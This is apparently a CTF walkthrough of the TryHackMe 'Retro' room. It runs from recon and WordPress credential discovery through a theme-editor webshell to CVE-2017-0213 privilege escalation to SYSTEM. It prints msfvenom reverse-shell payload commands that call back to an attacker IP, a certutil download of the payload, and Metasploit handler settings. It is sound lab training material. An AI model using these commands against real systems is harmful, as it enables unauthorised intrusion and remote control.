Drive Off into the Sunset After You Exploit this CVE-2017-0213 Vulnerable Box in Retro CTF
This walkthrough covers the Retro room on TryHackMe. The goal is to use some light passive recon to find a set of credentials, RDP into the box, identify a Windows COM vulnerability (CVE-2017-0213), and escalate to NT AUTHORITY\SYSTEM.
Step 1: What's Out There?
A full TCP scan with default scripts and version detection is a good place to start.
nmap -sC -sV -p- -Pn retro.thm --min-rate=1000
Two services stand out: a web server on port 80 and RDP on 3389. The web server is the obvious first stop.
It's a default Microsoft IIS page, so there's nothing here yet. Time to brute-force some directories.
Step 2: Directory Enumeration with ffuf
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://retro.thm/FUZZ -fs 703
The -fs 703 flag filters out responses that are 703 bytes long, which is the size of the default IIS page. That keeps the results to real hits.
That turns up a directory called /retro.
Step 3: Finding Credentials
/retro hosts a WordPress blog that appears to be run by a user named Wade.
Downloading and reading the Comments RSS feed turns up a piece of text that looks a lot like a password.
Plugging Wade and that word into the Site Admin login gets us into the WordPress admin panel.
Step 4: Initial Foothold
With admin access to WordPress, the classic route to a shell is the theme editor: swap the contents of the theme's 404.php for a PHP payload, then browse to it. msfvenom generates the payload.
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.13.28.215 LPORT=1337 -f raw -o retro_shell.php
Before triggering it, start a handler in msfconsole to catch the callback. The payload and port have to match what was baked into the shell.
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 1337
exploit
Next, go to Appearance > Theme Editor > 404 Template, delete everything in 404.php, and paste in the contents of retro_shell.php. It should look like this:
Browsing to http://retro.thm/retro/wp-content/themes/90s-retro/404.php runs the payload and opens a Meterpreter session.
Step 5: A Detour
The PHP Meterpreter session kept dying on me, and I couldn't get it to stay stable. That's fine. Sometimes the answer is to come at the problem from a different angle, and the end result is the same: root.
Wade's credentials work for RDP too, so the plan changed: log in over RDP, drop a native Windows payload, and catch a stable Meterpreter session from that.
Generate a 64-bit Windows payload with msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.28.215 LPORT=1337 -f exe -o payload.exe
Serve it from the attack box (for example with python3 -m http.server 8000), then pull it down from the RDP session with certutil:
certutil -urlcache -f http://10.13.28.215:8000/payload.exe payload.exe
The handler is the same as before, with the payload swapped for the Windows one:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 1337
exploit
Run payload.exe on the victim, and this time the Meterpreter session holds.
Step 6: Privilege Escalation
To find a privesc path, I used Windows Exploit Suggester (WES), which compares a machine's patch level against Microsoft's security bulletins. It needs the output of systeminfo, so save that to a file on the victim:
systeminfo > sysinfo.txt
Then pull the file back to the attack box.
Update WES's bulletin database first:
./windows-exploit-suggester.py --update
Then point it at the database and the systeminfo output:
./windows-exploit-suggester.py --database 2023-08-07-mssb.xls --sysinfo ~/sysinfo.txt --ostext 'windows 10 64-bit' -l
This build of Windows 10 is vulnerable to a Windows COM privilege escalation, CVE-2017-0213, and there's a prebuilt exploit binary for it. Download it to the attack box, upload it to the victim, and run it. Back in the RDP session, a new command prompt pops up running as NT AUTHORITY\SYSTEM.
This one was difficult and time-consuming. I went down more rabbit holes, and failed to stabilize more shells, than I'd like to admit. But it was rewarding, and it taught me a lot about Windows privesc. I hope you enjoyed this walkthrough, and as always, Happy Hacking.